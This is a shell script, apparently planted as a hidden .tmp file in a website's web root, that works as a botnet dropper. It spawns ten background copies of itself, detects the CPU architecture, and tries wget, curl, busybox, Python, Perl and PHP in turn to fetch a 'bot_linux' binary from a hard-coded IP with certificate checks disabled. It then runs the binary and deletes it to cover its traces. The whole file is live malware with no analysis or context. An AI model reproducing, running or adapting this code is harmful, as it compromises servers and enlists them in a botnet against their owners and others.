File: /var/www/sarbon.tj/data/www/sarbon.tj/.tmp
#!/bin/sh
# ========== САМОРАЗМНОЖЕНИЕ ==========
if [ "$1" != "worker" ]; then
for i in $(seq 1 10); do
nohup sh "$0" worker >/dev/null 2>&1 &
sleep 10
done
exit 0
fi
# ========== РАБОЧАЯ КОПИЯ (полностью отвязана) ==========
ARCH=$(uname -m 2>/dev/null || echo "x86_64")
case $ARCH in
x86_64|amd64) ARCH="x86_64" ;;
i686|i386|i586) ARCH="x86_32" ;;
aarch64|arm64) ARCH="aarch64" ;;
armv7l|armv6l) ARCH="arm" ;;
*) ARCH="x86_32" ;;
esac
DIR="$(cd "$(dirname "$0")" && pwd)"
URL="https://62.60.131.233/dl/bot_linux_$ARCH"
OUT="$DIR/.$(head /dev/urandom | tr -dc a-z0-9 | head -c8)"
try_download() {
timeout 15 sh -c "$1" 2>/dev/null
[ -s "$OUT" ]
}
try_download "wget -q --no-check-certificate -T 10 -O '$OUT' '$URL'" ||
try_download "curl -s -k --connect-timeout 5 --max-time 15 -o '$OUT' '$URL'" ||
try_download "busybox wget -q -T 10 -O '$OUT' '$URL'" ||
try_download "python3 -c \"import urllib.request, ssl; urllib.request.urlretrieve('$URL', '$OUT', context=ssl._create_unverified_context())\"" ||
try_download "python -c \"import urllib; urllib.urlretrieve('$URL', '$OUT')\"" ||
try_download "perl -e \"use LWP::Simple; getstore('$URL', '$OUT')\"" ||
try_download "php -r \"file_put_contents('$OUT', file_get_contents('$URL', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));\""
if [ -s "$OUT" ]; then
chmod +x "$OUT"
nohup "$OUT" >/dev/null 2>&1 &
sleep 20
rm -f "$OUT"
fi
# Висим 5 минут чтобы процесс точно не убился
sleep 60 &
wait